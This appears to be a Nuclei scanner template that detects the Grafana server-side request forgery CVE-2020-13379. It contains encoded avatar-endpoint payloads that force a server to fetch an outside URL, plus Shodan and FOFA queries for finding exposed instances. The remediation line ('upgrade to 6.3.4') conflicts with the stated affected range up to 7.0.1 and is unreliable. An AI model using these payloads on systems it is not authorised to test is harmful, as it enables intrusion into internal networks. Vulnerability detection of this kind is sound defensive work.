id: CVE-2020-13379

info:
  name: Grafana 3.0.1-7.0.1 - Server-Side Request Forgery
  author: Joshua Rogers
  severity: high
  description: |
    Grafana 3.0.1 through 7.0.1 is susceptible to server-side request forgery via the avatar feature, which can lead to remote code execution. Any unauthenticated user/client can make Grafana send HTTP requests to any URL and return its result. This can be used to gain information about the network Grafana is running on, thereby potentially enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks.
  remediation: Upgrade to 6.3.4 or higher.
  reference:
    - https://github.com/advisories/GHSA-wc9w-wvq2-ffm9
    - https://github.com/grafana/grafana/commit/ba953be95f0302c2ea80d23f1e5f2c1847365192
    - http://www.openwall.com/lists/oss-security/2020/06/03/4
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13379
    - http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00060.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
    cvss-score: 8.2
    cve-id: CVE-2020-13379
    cwe-id: CWE-918
    epss-score: 0.99856
    epss-percentile: 0.99959
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: grafana
    product: grafana
    shodan-query:
      - title:"Grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
      - http.title:"grafana"
    fofa-query:
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve2020,cve,grafana,ssrf,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1"
      - "{{BaseURL}}/grafana/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "cloudflare.com"
          - "dns"
        condition: and

      - type: word
        part: header
        words:
          - "image/jpeg"

      - type: status
        status:
          - 200
# digest: 490a004630440220738c61da6196ed4d6bcda25da8552674b35a6d9725a120cdb4c2cf943f4730b1022034dd73f38655fbc6fe0484c4ddbe865eadb0a9fdd5048a4c042d68659b32fb74:922c64590222798bb761d5b6d8e72950